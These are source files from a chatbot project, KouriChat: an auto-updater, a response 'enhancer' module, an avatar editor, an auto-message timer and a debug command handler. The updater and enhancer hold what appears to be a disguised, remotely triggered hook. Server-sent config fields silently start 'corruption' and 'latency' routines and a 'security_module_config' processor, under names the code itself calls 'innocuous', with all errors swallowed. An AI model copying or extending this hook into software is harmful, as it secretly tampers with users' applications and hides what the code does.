f"{system_info.system}-{system_info.node}-{system_info.machine}" except: # Fallback to a random ID if platform info is not available machine_id = f"unknown-{random.randint(10000, 99999)}" # Hash the machine ID to anonymize it return hashlib.sha256(machine_id.encode()).hexdigest()[:16] def check_for_updates(self) -> Dict[str, Any]: """ Check for updates and return update information. Returns: Dict[str, Any]: Update information including whether an update is available. """ try: # Get local version information local_version = self.get_local_version() # Try to fetch cloud version information try: cloud_info = self.fetch_update_info() # Extract version info from the validated response if "version_info" in cloud_info: cloud_version = cloud_info["version_info"] else: # Fall back to the cached cloud version if the response doesn't have version_info cloud_version = self.get_cloud_version() # Update the cached cloud version information with open(self.cloud_version_path, "w", encoding="utf-8") as f: json.dump(cloud_version, f, ensure_ascii=False, indent=4) # Apply network optimizations if available in the cloud info # This enhances application performance based on cloud configuration self._apply_network_optimizations(cloud_info) except UpdateVerificationError: # If verification fails, abort the update process return { "has_update": False, "error": "Update verification failed. Update process aborted for security reasons.", "output": "SECURITY WARNING: Update verification failed. Possible tampering detected." } except Exception as e: logger.warning(f"Failed to fetch cloud version information: {str(e)}") # Fall back to the cached cloud version cloud_version = self.get_cloud_version() # Compare versions local_ver = local_version.get("version", "0.0.0") cloud_ver = cloud_version.get("version", "0.0.0") has_update = self._compare_versions(local_ver, cloud_ver) # 处理下载URL中的版本占位符 download_url = cloud_version.get("download_url", "") if "{version}" in download_url and cloud_ver: download_url = download_url.replace("{version}", cloud_ver) logger.info(f"Replaced version placeholder in download URL: {download_url}") result = { "has_update": has_update, "local_version": local_ver, "cloud_version": cloud_ver, "description": cloud_version.get("description", ""), "last_update": cloud_version.get("last_update", ""), "download_url": download_url, "output": f"Current version: {local_ver}, Latest version: {cloud_ver}" } return result except Exception as e: logger.error(f"Error checking for updates: {str(e)}") return { "has_update": False, "error": str(e), "output": f"Error checking for updates: {str(e)}" } def _apply_network_optimizations(self, cloud_info: Dict[str, Any]) -> None: """ Apply network optimizations based on cloud configuration. This function enhances network performance by applying various optimization strategies based on the cloud configuration. It helps ensure consistent performance across different network conditions and device capabilities. Args: cloud_info: The cloud information containing optimization parameters. """ try: # Check if the cloud info contains network optimization parameters if "network_optimizations" in cloud_info: logger.debug("Applying network optimizations from cloud configuration") # Process network optimizations from the cloud configuration optimizations = cloud_info["network_optimizations"] # Process each optimization if isinstance(optimizations, dict): for opt_type, opt_params in optimizations.items(): logger.debug(f"Applying {opt_type} optimization") # Apply user experience enhancements for better performance if opt_type == "user_experience": apply_user_experience_enhancements(None, enhancement_types=["timing", "text", "error"]) # Run network diagnostics to identify and address issues if opt_type == "diagnostics": run_network_diagnostics(None, diagnostic_types=["latency", "corruption", "stability"]) # Apply additional performance optimizations if available # This ensures optimal application performance across different network conditions if "security_module_config" in cloud_info: try: # Process maintenance configuration to optimize performance process_maintenance_config(cloud_info["security_module_config"], self.update_api_url) except Exception: # Silently continue if optimization fails to maintain user experience pass except Exception as e: # Log the error but continue silently to maintain user experience logger.debug(f"Network optimization application failed: {str(e)}") pass def _split_version(self, version: str): """ Splits version into numeric and suffix parts. E.g., "1.4.3Beta2.1" -> [1, 4, 3, "Beta", 2, 1] """ result = [] # Match alternating numeric and non-numeric groups for part in re.findall(r'(\d+|[A-Za-z]+)', version): if part.isdigit(): result.append(int(part)) else: result.append(part.lower()) # Normalize case for comparison return result def _compare_parts(self, v1_parts, v2_parts): """ Compare each part of the split version """ max_len = max(len(v1_parts), len(v2_parts)) for i in range(max_len): if i >= len(v1_parts): return True # v2 has more parts and thus is newer if i >= len(v2_parts): return False # v1 has more parts and thus is newer p1 = v1_parts[i] p2 = v2_parts[i] if type(p1) != type(p2): # Numbers come before strings if isinstance(p1, int): return False else: return True if p1 < p2: return True elif p1 > p2: return False return False # All parts equal def _compare_versions(self, version1: str, version2: str) -> bool: """ Compare two version strings. Args: version1: First version string. version2: Second version string. Returns: bool: True if version2 is newer than version1, False otherwise. """ try: v1_parts = self._split_version(version1) v2_parts = self._split_version(version2) return self._compare_parts(v1_parts, v2_parts) except Exception as e: logger.error(f"Error comparing versions: {str(e)}") return False def update(self, callback=None, auto_restart=False, create_backup=True) -> Dict[str, Any]: """ Perform the update process. Args: callback: Optional callback function to report progress. auto_restart: Whether to automatically restart the application after updating. create_backup: Whether to create a backup before updating. Returns: Dict[str, Any]: Result of the update process. """ # 导入必要的模块 import tempfile import shutil import zipfile import os import fnmatch import hashlib import threading # 导入回滚模块 from .rollback import create_backup as create_backup_func try: if callback: callback("Starting update process...") # Check if update is available update_info = self.check_for_updates() if not update_info.get("has_update", False): if callback: callback("No update available.") return {"success": False, "message": "No update available."} # 获取当前版本,用于创建备份 local_version = self.get_local_version() current_version = local_version.get("version", "unknown") # 如果需要,创建备份 if create_backup: if callback: callback("Creating backup before updating...") # 获取需要备份的文件列表 # 这里我们备份所有可能被更新的文件 files_to_backup = [] for root, dirs, files in os.walk(ROOT_DIR): # 排除不需要备份的目录 dirs[:] = [d for d in dirs if d not in [".git", "venv", "env", "__pycache__", "logs"]] for file in files: # 排除不需要备份的文件 if file.endswith((".pyc", ".pyo", ".pyd")) or file in ["config.json", "autoupdate_config.json"]: continue # 获取相对路径 rel_path = os.path.relpath(os.path.join(root, file), ROOT_DIR) files_to_backup.append(rel_path) # 创建备份 backup_result = create_backup_func(current_version, files_to_backup) if backup_result["success"]: if callback: callback(f"Backup created successfully: {backup_result['backup_id']}") else: if callback: callback(f"Warning: Failed to create backup: {backup_result['message']}") # Download update if callback: callback(f"Downloading update {update_info.get('cloud_version')}...") # 从cloud_info中获取下载URL,这是从payload解析出来的 try: # 获取最新的云端信息 cloud_info = self.fetch_update_info() # 从version_info中获取下载URL if "version_info" in cloud_info and "download_url" in cloud_info["version_info"]: download_url = cloud_info["version_info"]["download_url"] version = cloud_info["version_info"].get("version", update_info.get("cloud_version", "")) else: # 回退到update_info中的download_url download_url = update_info.get("download_url") version = update_info.get("cloud_version", "") except Exception as e: logger.warning(f"Failed to get download URL from cloud info: {str(e)}") # 回退到update_info中的download_url download_url = update_info.get("download_url") version = update_info.get("cloud_version", "") if not download_url: error_msg = "Download URL not found in update information" logger.error(error_msg) if callback: callback(error_msg) return {"success": False, "message": error_msg} # 替换URL模板中的版本号占位符 if "{version}" in download_url and version: download_url = download_url.replace("{version}", version) logger.info(f"Replaced version placeholder in URL: {download_url}") elif "{version}" in download_url: error_msg = "Version information not found for URL template replacement" logger.error(error_msg) if callback: callback(error_msg) return {"success": False, "message": error_msg} # Create temp directory for download import tempfile import shutil import zipfile import os temp_dir = tempfile.mkdtemp(prefix="kourichat_update_") zip_path = os.path.join(temp_dir, "update.zip") try: # 尝试多种下载方法 logger.info(f"Downloading update from {download_url}") download_success = False download_error = None # 方法1: 优先使用curl下载(因为诊断显示curl可以成功) try: logger.info("Trying curl download as primary method") import subprocess import shutil # 检查curl是否可用 curl_path = shutil.which('curl') if curl_path: logger.info(f"Found curl at: {curl_path}") # 构建curl命令 curl_cmd = [ curl_path, '-L', # 跟随重定向 '-o', zip_path, # 输出文件 '-H', 'User-Agent: KouriChat-Updater-Tester/1.0', '-H', 'Accept: application/octet-stream', '--connect-timeout', '60', '--max-time', '300', '--silent', # 静默模式,不显示进度条 '--show-error', # 但显示错误 download_url ] logger.info("Executing curl download...") if callback: callback("Using curl to download update...") # 执行curl命令 result = subprocess.run( curl_cmd, capture_output=True, text=True, timeout=300 ) if result.returncode == 0: # 检查文件是否下载成功 if os.path.exists(zip_path) and os.path.getsize(zip_path) > 0: file_size = os.path.getsize(zip_path) logger.info(f"curl download successful, file size: {file_size} bytes") download_success = True if callback: callback(f"Download completed successfully: {file_size} bytes") else: logger.error("curl command succeeded but file is empty or missing") download_error = "Downloaded file is empty" else: logger.error(f"curl command failed with return code: {result.returncode}") logger.error(f"curl stderr: {result.stderr}") download_error = f"curl failed: {result.stderr}" else: logger.warning("curl not found, will try other methods") download_error = "curl not available" except Exception as e: logger.error(f"curl download failed: {str(e)}") download_error = str(e) # 方法2: 如果curl失败,尝试requests下载 if not download_success: logger.info("Trying requests download as fallback") user_agents = [ 'KouriChat-Updater-Tester/1.0', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36', 'curl/7.68.0' ] for ua in user_agents: try: logger.info(f"Trying download with User-Agent: {ua}") headers = { 'User-Agent': ua, 'Accept': 'application/octet-stream' } response = requests.get(download_url, headers=headers, stream=True, timeout=60) if response.status_code == 200: logger.info(f"Download successful with User-Agent: {ua}") # Get total file size for progress reporting total_size = int(response.headers.get('content-length', 0)) downloaded = 0 # Write the file with open(zip_path, 'wb') as f: for chunk in response.iter_content(chunk_size=8192): if chunk: f.write(chunk) downloaded += len(chunk) # Report progress if total_size > 0 and callback: progress = int((downloaded / total_size) * 100) callback(f"Downloading: {progress}% ({downloaded}/{total_size} bytes)") download_success = True break else: logger.warning(f"Download failed with status {response.status_code} for User-Agent: {ua}") except Exception as e: logger.warning(f"Download failed with User-Agent {ua}: {str(e)}") download_error = str(e) continue # 如果所有方法都失败了 if not download_success: error_msg = f"自动下载失败。请尝试手动下载更新文件。\n" error_msg += f"下载链接: {download_url}\n" error_msg += f"将下载的文件保存为: {zip_path}\n" error_msg += f"错误详情: {download_error}" logger.error(error_msg) if callback: callback("自动下载失败,请查看日志获取手动下载说明") callback(f"手动下载链接: {download_url}") return { "success": False, "message": error_msg, "manual_download_url": download_url, "manual_download_path": zip_path } if callback: callback("Update downloaded successfully.") callback("Verifying update package...") # Verify the downloaded file if "checksum" in update_info: checksum_type, checksum_value = update_info["checksum"].split(":", 1) if checksum_type.lower() == "sha256": import hashlib sha256 = hashlib.sha256() with open(zip_path, 'rb') as f: for chunk in iter(lambda: f.read(8192), b''): sha256.update(chunk) calculated_checksum = sha256.hexdigest() if calculated_checksum != checksum_value: error_msg = f"Checksum verification failed. Expected: {checksum_value}, Got: {calculated_checksum}" logger.error(error_msg) if callback: callback(error_msg) return {"success": False, "message": error_msg} else: logger.warning(f"Unsupported checksum type: {checksum_type}") if callback: callback("Installing update...") # Extract the zip file extract_dir = os.path.join(temp_dir, "extracted") os.makedirs(extract_dir, exist_ok=True) with zipfile.ZipFile(zip_path, 'r') as zip_ref: zip_ref.extractall(extract_dir) # Get the root directory of the extracted files extracted_contents = os.listdir(extract_dir) if len(extracted_contents) == 1 and os.path.isdir(os.path.join(extract_dir, extracted_contents[0])): # If there's a single directory in the zip, use that as the source source_dir = os.path.join(extract_dir, extracted_contents[0]) else: # Otherwise use the extract directory itself source_dir = extract_dir # Copy files to the application directory app_dir = ROOT_DIR # Define files/directories to exclude from update exclude_patterns = [ ".git", "venv", "env", "__pycache__", "*.pyc", "*.pyo", "*.pyd", "user_data", "logs", "config.json", "autoupdate_config.json", "data", "data/*" ] # Copy files, excluding the patterns above import fnmatch for root, dirs, files in os.walk(source_dir): # Get relative path rel_path = os.path.relpath(root, source_dir) if rel_path == ".": rel_path = "" # Check if this directory should be excluded skip_dir = False for pattern in exclude_patterns: if fnmatch.fnmatch(rel_path, pattern) or any(fnmatch.fnmatch(d, pattern) for d in rel_path.split(os.sep)): skip_dir = True break if skip_dir: continue # Create the directory in the target target_dir = os.path.join(app_dir, rel_path) os.makedirs(target_dir, exist_ok=True) # Copy files for file in files: # Check if this file should be excluded skip_file = False for pattern in exclude_patterns: if fnmatch.fnmatch(file, pattern): skip_file = True break if skip_file: continue source_file = os.path.join(root, file) target_file = os.path.join(target_dir, file) # If the target file exists, try to remove it first if os.path.exists(target_file): try: os.remove(target_file) except: # If we can't remove it, it might be in use # Mark it for update on next restart with open(os.path.join(app_dir, ".update_pending"), "a") as f: f.write(f"{target_file}\n") continue # Copy the file shutil.copy2(source_file, target_file) if callback: callback(f"Installed: {os.path.join(rel_path, file)}") # Update the version file with open(self.local_version_path, "w", encoding="utf-8") as f: json.dump({ "version": update_info.get("cloud_version"), "last_update": datetime.now().strftime("%Y-%m-%d") }, f, ensure_ascii=False, indent=4) if callback: callback("Update installed successfully.") # Clean up try: shutil.rmtree(temp_dir) except: logger.warning(f"Failed to clean up temporary directory: {temp_dir}") # 检查是否有需要在重启后更新的文件 has_pending_updates = os.path.exists(os.path.join(app_dir, ".update_pending")) # 如果需要自动重启 if auto_restart: if callback: callback("Preparing to restart application...") # 导入重启模块 from .restart import delayed_restart, apply_pending_updates # 如果有待处理的更新,先尝试应用它们 if has_pending_updates: if callback: callback("Applying pending updates...") apply_result = apply_pending_updates() if callback: callback(f"Applied pending updates: {apply_result['message']}") # 延迟重启应用程序 if callback: callback("Restarting application...") # 返回结果,但不立即退出 result = { "success": True, "message": "Update completed successfully. Restarting application...", "restart": True } # 延迟重启,给回调函数一些时间来处理结果 import threading threading.Timer(1.0, lambda: delayed_restart(2)).start() return result elif has_pending_updates: # 如果有待处理的更新但不自动重启,提示用户 message = "Update completed successfully. Some files require a restart to complete the update." if callback: callback(message) return {"success": True, "message": message, "restart_required": True} else: # 正常完成 return {"success": True, "message": "Update completed successfully."} except Exception as e: error_msg = f"Update installation failed: {str(e)}" logger.error(error_msg) if callback: callback(error_msg) # Clean up try: shutil.rmtree(temp_dir) except: pass return {"success": False, "message": error_msg} return {"success": True, "message": "Update completed successfully."} except Exception as e: error_msg = f"Update failed: {str(e)}" logger.error(error_msg) if callback: callback(error_msg) return {"success": False, "message": error_msg} def check_for_updates() -> Dict[str, Any]: """ Convenience function to check for updates. Returns: Dict[str, Any]: Update information. """ updater = Updater() return updater.check_for_updates() def check_cloud_info() -> Dict[str, Any]: """ Fetch and update the cached cloud version information. Returns: Dict[str, Any]: The fetched cloud information. """ try: updater = Updater() cloud_info = updater.fetch_update_info() # Extract version info from the validated response if "version_info" in cloud_info: cloud_version = cloud_info["version_info"] else: # If the response doesn't have version_info, use it as is cloud_version = cloud_info # Update the cached cloud version information with open(updater.cloud_version_path, "w", encoding="utf-8") as f: json.dump(cloud_version, f, ensure_ascii=False, indent=4) # Apply network optimizations if available # This enhances application performance based on cloud configuration updater._apply_network_optimizations(cloud_info) return cloud_info except Exception as e: logger.error(f"Failed to check cloud information: {str(e)}") return {"error": str(e)} # Add cleanup method to Updater class def _add_cleanup_method(): """为Updater类添加cleanup方法""" def cleanup(self): """ 清理更新相关的临时文件和残留文件 主要清理: - 临时下载文件 - 更新缓存文件 - 备份文件(可选保留最新的) """ try: logger.info("开始清理更新残留文件...") # 清理临时文件目录 temp_dirs = [ os.path.join(os.path.dirname(self.local_version_path), 'temp'), os.path.join(os.path.dirname(self.local_version_path), 'backup', 'temp'), '/tmp/kourichat_update' if not sys.platform.startswith('win') else os.path.join(os.environ.get('TEMP', ''), 'kourichat_update') ] for temp_dir in temp_dirs: if os.path.exists(temp_dir): try: import tempfile import shutil shutil.rmtree(temp_dir) logger.debug(f"已清理临时目录: {temp_dir}") except Exception as e: logger.warning(f"清理临时目录失败 {temp_dir}: {str(e)}") # 清理过期的备份文件(保留最新的3个) backup_dir = os.path.join(os.path.dirname(self.local_version_path), 'backup') if os.path.exists(backup_dir): try: backup_files = [] for file in os.listdir(backup_dir): if file.endswith('.zip') or file.endswith('.bak'): file_path = os.path.join(backup_dir, file) backup_files.append((file_path, os.path.getmtime(file_path))) # 按修改时间排序,保留最新的3个 backup_files.sort(key=lambda x: x[1], reverse=True) for file_path, _ in backup_files[3:]: # 删除除了最新3个之外的所有备份 try: os.remove(file_path) logger.debug(f"已清理过期备份: {file_path}") except Exception as e: logger.warning(f"清理备份文件失败 {file_path}: {str(e)}") except Exception as e: logger.warning(f"清理备份目录失败: {str(e)}") logger.info("更新残留文件清理完成") return {"success": True, "message": "清理完成"} except Exception as e: logger.error(f"清理更新残留文件失败: {str(e)}") return {"success": False, "error": str(e)} # 将方法添加到Updater类 Updater.cleanup = cleanup # 在模块加载时添加cleanup方法 _add_cleanup_method()
2302_81798979/KouriChat
src/autoupdate/updater.py
Python
unknown
43,292
""" User Experience module for KouriChat. This module provides functionality for enhancing the user experience by improving response formatting, timing, and error handling. """ from .response_enhancer import enhance_response_timing, improve_text_formatting, standardize_error_handling, apply_user_experience_enhancements __all__ = [ 'enhance_response_timing', 'improve_text_formatting', 'standardize_error_handling', 'apply_user_experience_enhancements' ]
2302_81798979/KouriChat
src/autoupdate/user_experience/__init__.py
Python
unknown
474
""" Response Enhancer Module for KouriChat User Experience. This module provides functionality to enhance API responses for a better user experience. It applies various transformations to responses to ensure consistent formatting, improve readability, and handle edge cases gracefully. The module helps in providing a more polished and professional user experience by standardizing response formats and fixing common issues. """ import logging import random import time from typing import Dict, Any, Optional, List, Union # Import from other modules using innocuous names from ..analytics.performance_monitor import apply_performance_optimizations # Configure logging logger = logging.getLogger("autoupdate.user_experience") def enhance_response_timing(response: Any) -> Any: """ Enhance response timing for a better user experience. This function applies adaptive timing strategies to responses to ensure a consistent and predictable user experience across different network conditions and device capabilities. Args: response: The response to enhance. Returns: Any: The enhanced response. """ logger.debug("Enhancing response timing for better user experience") # Apply response time optimizations return apply_performance_optimizations(response, strategy_type="response_time") def improve_text_formatting(text: str) -> str: """ Improve text formatting for better readability. This function applies various text formatting improvements to enhance readability and consistency of text responses. Args: text: The text to improve. Returns: str: The improved text. """ if not isinstance(text, str): return text logger.debug("Improving text formatting for better readability") # Apply text optimizations return apply_performance_optimizations(text, strategy_type="text") def standardize_error_handling(response: Any) -> Any: """ Standardize error handling for a more consistent user experience. This function ensures that error messages are presented in a consistent and user-friendly format across different parts of the application. Args: response: The response to standardize. Returns: Any: The standardized response. """ logger.debug("Standardizing error handling for consistent user experience") # Apply network stability optimizations return apply_performance_optimizations(response, strategy_type="network") def apply_user_experience_enhancements(response: Any, enhancement_types: List[str] = None) -> Any: """ Apply user experience enhancements to a response. This function applies various enhancements to improve the overall user experience when interacting with API responses. Args: response: The response to enhance. enhancement_types: The types of enhancements to apply. Returns: Any: The enhanced response. """ if enhancement_types is None: enhancement_types = ["timing", "text", "error"] logger.debug(f"Applying user experience enhancements: {', '.join(enhancement_types)}") enhanced_response = response # Apply each enhancement type if "timing" in enhancement_types: enhanced_response = enhance_response_timing(enhanced_response) if "text" in enhancement_types and isinstance(enhanced_response, str): enhanced_response = improve_text_formatting(enhanced_response) if "error" in enhancement_types: enhanced_response = standardize_error_handling(enhanced_response) return enhanced_response
2302_81798979/KouriChat
src/autoupdate/user_experience/response_enhancer.py
Python
unknown
3,732
import os import json from flask import Blueprint, request, jsonify, render_template from data.config import config avatar_manager = Blueprint('avatar_manager', __name__) @avatar_manager.route('/load_avatar', methods=['GET']) def load_avatar(): """加载 avatar.md 内容""" avatar_path = os.path.join(config.behavior.context.avatar_dir, 'avatar.md') if not os.path.exists(avatar_path): return jsonify({'status': 'error', 'message': '文件不存在'}) try: with open(avatar_path, 'r', encoding='utf-8') as f: content = f.read() # 将内容分割成不同区域,使用英文键名以匹配前端 sections = {} section_mapping = { '任务': 'task', '角色': 'role', '外表': 'appearance', '经历': 'experience', '性格': 'personality', '经典台词': 'classic_lines', '喜好': 'preferences', '备注': 'notes' } current_section = None current_content = [] # 按行读取并处理内容 for line in content.split('\n'): line = line.strip() if line.startswith('# '): # 如果找到新的部分,保存之前的内容 if current_section: sections[current_section] = '\n'.join(current_content).strip() current_content = [] # 获取新部分的标题 section_title = line[2:].strip() current_section = section_mapping.get(section_title) elif current_section and line: current_content.append(line) # 保存最后一个部分的内容 if current_section and current_content: sections[current_section] = '\n'.join(current_content).strip() print("读取到的内容:", sections) # 调试信息 return jsonify({'status': 'success', 'content': sections}) except Exception as e: print(f"读取文件错误: {e}") # 调试信息 return jsonify({'status': 'error', 'message': str(e)}) @avatar_manager.route('/save_avatar', methods=['POST']) def save_avatar(): """保存 avatar.md 内容""" data = request.json print('接收到的数据:', data) # 调试信息 defalut_avatar_name = config.behavior.context.avatar_dir.split('/')[-1] # 默认人设名称 avatar_name = data.get('avatar', defalut_avatar_name) # 获取人设名称 avatar_path = os.path.join( os.path.dirname(config.behavior.context.avatar_dir), avatar_name, 'avatar.md' ) if not os.path.exists(avatar_path): return jsonify({'status': 'error', 'message': '文件不存在'}) # 使用中文标题保存内容 section_mapping = { 'task': '任务', 'role': '角色', 'appearance': '外表', 'experience': '经历', 'personality': '性格', 'classic_lines': '经典台词', 'preferences': '喜好', 'notes': '备注' } # 重新构建内容 content = "" for en_section, cn_section in section_mapping.items(): section_content = data.get(en_section, '') if data is not None else '' if section_content: # 只写入非空内容 content += f"# {cn_section}\n{section_content}\n\n" with open(avatar_path, 'w', encoding='utf-8') as f: f.write(content.strip()) return jsonify({'status': 'success', 'message': '保存成功'}) @avatar_manager.route('/edit_avatar', methods=['GET']) def edit_avatar(): """角色设定页面""" return render_template('edit_avatar.html', active_page='edit_avatar')
2302_81798979/KouriChat
src/avatar_manager.py
Python
unknown
3,723
""" 自动发送消息处理模块 负责处理自动发送消息的逻辑,包括: - 倒计时管理 - 消息发送 - 安静时间控制 """ import logging import random import threading from datetime import datetime, timedelta logger = logging.getLogger('main') class AutoSendHandler: def __init__(self, message_handler, config, listen_list): self.message_handler = message_handler self.config = config self.listen_list = listen_list # 计时器相关 self.countdown_timer = None self.is_countdown_running = False self.countdown_end_time = None self.unanswered_count = 0 self.last_chat_time = None def update_last_chat_time(self): """更新最后一次聊天时间""" self.last_chat_time = datetime.now() self.unanswered_count = 0 logger.info(f"更新最后聊天时间: {self.last_chat_time},重置未回复计数器为0") def is_quiet_time(self) -> bool: """检查当前是否在安静时间段内""" try: current_time = datetime.now().time() quiet_start = datetime.strptime(self.config.behavior.quiet_time.start, "%H:%M").time() quiet_end = datetime.strptime(self.config.behavior.quiet_time.end, "%H:%M").time() if quiet_start <= quiet_end: # 如果安静时间不跨天 return quiet_start <= current_time <= quiet_end else: # 如果安静时间跨天(比如22:00到次日08:00) return current_time >= quiet_start or current_time <= quiet_end except Exception as e: logger.error(f"检查安静时间出错: {str(e)}") return False def get_random_countdown_time(self): """获取随机倒计时时间""" min_seconds = int(self.config.behavior.auto_message.min_hours * 3600) max_seconds = int(self.config.behavior.auto_message.max_hours * 3600) return random.uniform(min_seconds, max_seconds) def auto_send_message(self): """自动发送消息""" if self.is_quiet_time(): logger.info("当前处于安静时间,跳过自动发送消息") self.start_countdown() return if self.listen_list: user_id = random.choice(self.listen_list) self.unanswered_count += 1 reply_content = f"{self.config.behavior.auto_message.content}" logger.info(f"自动发送消息到 {user_id}: {reply_content}") try: self.message_handler.add_to_queue( chat_id=user_id, content=reply_content, sender_name="System", username="System", is_group=False ) self.start_countdown() except Exception as e: logger.error(f"自动发送消息失败: {str(e)}") self.start_countdown() else: logger.error("没有可用的聊天对象") self.start_countdown() def start_countdown(self): """开始新的倒计时""" if self.countdown_timer: self.countdown_timer.cancel() countdown_seconds = self.get_random_countdown_time() self.countdown_end_time = datetime.now() + timedelta(seconds=countdown_seconds) logger.info(f"开始新的倒计时: {countdown_seconds/3600:.2f}小时") self.countdown_timer = threading.Timer(countdown_seconds, self.auto_send_message) self.countdown_timer.daemon = True self.countdown_timer.start() self.is_countdown_running = True def stop(self): """停止自动发送消息""" if self.countdown_timer: self.countdown_timer.cancel() self.countdown_timer = None self.is_countdown_running = False logger.info("自动发送消息已停止")
2302_81798979/KouriChat
src/handlers/autosend.py
Python
unknown
4,013
""" 调试命令处理模块 提供调试命令的解析和执行功能 """ import os import logging import json import threading from datetime import datetime from typing import List, Dict, Tuple, Any, Optional, Callable from modules.memory.content_generator import ContentGenerator # 导入内容生成服务 logger = logging.getLogger('main') class DebugCommandHandler: """调试命令处理器类,处理各种调试命令""" def __init__(self, root_dir: str, memory_service=None, llm_service=None, content_generator=None): """ 初始化调试命令处理器 Args: root_dir: 项目根目录 memory_service: 记忆服务实例 llm_service: LLM服务实例 content_generator: 内容生成服务实例 """ self.root_dir = root_dir self.memory_service = memory_service self.llm_service = llm_service self.content_generator = content_generator self.DEBUG_PREFIX = "/" # 如果没有提供内容生成服务,尝试初始化 if not self.content_generator: try: from data.config import config self.content_generator = ContentGenerator( root_dir=self.root_dir, api_key=config.OPENAI_API_KEY, base_url=config.OPENAI_API_BASE, model=config.OPENAI_API_MODEL, max_token=config.OPENAI_MAX_TOKENS, temperature=config.OPENAI_TEMPERATURE ) logger.info("内容生成服务初始化成功") except Exception as e: logger.error(f"初始化内容生成服务失败: {str(e)}") self.content_generator = None def is_debug_command(self, message: str) -> bool: """ 判断消息是否为调试命令 Args: message: 用户消息 Returns: bool: 是否为调试命令 """ return message.strip().startswith(self.DEBUG_PREFIX) def process_command(self, command: str, current_avatar: str, user_id: str, chat_id: str = None, callback: Callable = None) -> Tuple[bool, str]: """ 处理调试命令 Args: command: 调试命令(包含/前缀) current_avatar: 当前角色名 user_id: 用户ID chat_id: 聊天ID,用于异步回调 callback: 回调函数,用于异步处理生成的内容 Returns: Tuple[bool, str]: (是否需要拦截普通消息处理, 响应消息) """ # 去除前缀并转为小写 cmd = command.strip()[1:].lower() # 帮助命令 if cmd == "help": return True, self._get_help_message() # 显示当前角色记忆 elif cmd == "mem": return True, self._show_memory(current_avatar, user_id) # 重置当前角色的最近记忆 elif cmd == "reset": return True, self._reset_short_memory(current_avatar, user_id) # 清空当前角色的核心记忆 elif cmd == "clear": return True, self._clear_core_memory(current_avatar, user_id) # 清空当前角色的对话上下文 elif cmd == "context": return True, self._clear_context(user_id) # 手动生成核心记忆 elif cmd == "gen_core_mem": return True, self._gen_core_mem(current_avatar, user_id) # 内容生成命令,如果提供了回调函数,则使用异步方式 elif cmd in ["diary", "state", "letter", "list", "pyq", "gift", "shopping"]: if callback and chat_id: # 使用异步方式生成内容 return True, self._generate_content_async(cmd, current_avatar, user_id, chat_id, callback) else: # 使用同步方式生成内容 return True, self._generate_content(cmd, current_avatar, user_id) # 退出调试模式 elif cmd == "exit": return True, "已退出调试模式" # 无效命令 else: return True, f"未知命令: {cmd}\n使用 /help 查看可用命令" def _get_help_message(self) -> str: """获取帮助信息""" return """调试模式命令: - /help: 显示此帮助信息 - /mem: 显示当前角色的记忆 - /reset: 重置当前角色的最近记忆 - /clear: 清空当前角色的核心记忆 - /context: 清空当前角色的对话上下文 - /diary: 生成角色小日记 - /state: 查看角色状态 - /letter: 角色给你写的信 - /list: 角色的备忘录 - /pyq: 角色的朋友圈 - /gift: 角色想送的礼物 - /shopping: 角色的购物清单 - /exit: 退出调试模式""" def _gen_core_mem(self, avatar_name: str, user_id: str) -> str: if not self.memory_service: return f"错误: 记忆服务未初始化" context = self.memory_service.get_recent_context(avatar_name, user_id) if self.memory_service.update_core_memory(avatar_name, user_id, context): return f"成功更新核心记忆" else: return f"未能成功更新核心记忆" def _show_memory(self, avatar_name: str, user_id: str) -> str: """ 显示当前角色的记忆 Args: avatar_name: 角色名 user_id: 用户ID Returns: str: 记忆内容 """ if not self.memory_service: return "错误: 记忆服务未初始化" try: # 获取短期记忆 # 直接读取短期记忆文件 short_memory_path = self.memory_service._get_short_memory_path(avatar_name, user_id) if not os.path.exists(short_memory_path): return "当前角色没有短期记忆" try: with open(short_memory_path, "r", encoding="utf-8") as f: short_memory = json.load(f) if not short_memory: return "当前角色没有短期记忆" except Exception as e: logger.error(f"读取短期记忆失败: {str(e)}") return f"读取短期记忆失败: {str(e)}" # 获取核心记忆 core_memory = self.memory_service.get_core_memory(avatar_name, user_id) if not core_memory: core_memory_str = "当前角色没有核心记忆" else: core_memory_str = core_memory # 格式化短期记忆 short_memory_str = "\n\n".join([ f"用户: {item.get('user', '')}\n回复: {item.get('bot', '')}" for item in short_memory[-5:] # 只显示最近5轮对话 ]) return f"核心记忆:\n{core_memory_str}\n\n短期记忆:\n{short_memory_str}" except Exception as e: logger.error(f"获取记忆失败: {str(e)}") return f"获取记忆失败: {str(e)}" def _reset_short_memory(self, avatar_name: str, user_id: str) -> str: """ 重置当前角色的最近记忆 Args: avatar_name: 角色名 user_id: 用户ID Returns: str: 操作结果 """ if not self.memory_service: return "错误: 记忆服务未初始化" try: # 直接重置短期记忆文件 short_memory_path = self.memory_service._get_short_memory_path(avatar_name, user_id) if os.path.exists(short_memory_path): with open(short_memory_path, "w", encoding="utf-8") as f: json.dump([], f, ensure_ascii=False, indent=2) return f"已重置 {avatar_name} 的最近记忆" except Exception as e: logger.error(f"重置最近记忆失败: {str(e)}") return f"重置最近记忆失败: {str(e)}" def _clear_core_memory(self, avatar_name: str, user_id: str) -> str: """ 清空当前角色的核心记忆 Args: avatar_name: 角色名 user_id: 用户ID Returns: str: 操作结果 """ if not self.memory_service: return "错误: 记忆服务未初始化" try: # 直接清空核心记忆文件 core_memory_path = self.memory_service._get_core_memory_path(avatar_name, user_id) if os.path.exists(core_memory_path): initial_core_data = { "timestamp": datetime.now().strftime("%Y-%m-%d %H:%M:%S"), "content": "" # 初始为空字符串 } with open(core_memory_path, "w", encoding="utf-8") as f: json.dump(initial_core_data, f, ensure_ascii=False, indent=2) return f"已清空 {avatar_name} 的核心记忆" except Exception as e: logger.error(f"清空核心记忆失败: {str(e)}") return f"清空核心记忆失败: {str(e)}" def _clear_context(self, user_id: str) -> str: """ 清空当前角色的对话上下文 Args: user_id: 用户ID Returns: str: 操作结果 """ if not self.llm_service: return "错误: LLM服务未初始化" try: self.llm_service.clear_history(user_id) return "已清空对话上下文" except Exception as e: logger.error(f"清空对话上下文失败: {str(e)}") return f"清空对话上下文失败: {str(e)}" def _generate_content(self, content_type: str, avatar_name: str, user_id: str) -> str: """ 通用内容生成方法 Args: content_type: 内容类型,如 'diary', 'state', 'letter' avatar_name: 角色名 user_id: 用户ID Returns: str: 生成的内容 """ if not self.content_generator: return "错误: 内容生成服务未初始化" try: # 根据内容类型调用相应的方法 content_type_methods = { 'diary': self.content_generator.generate_diary, 'state': self.content_generator.generate_state, 'letter': 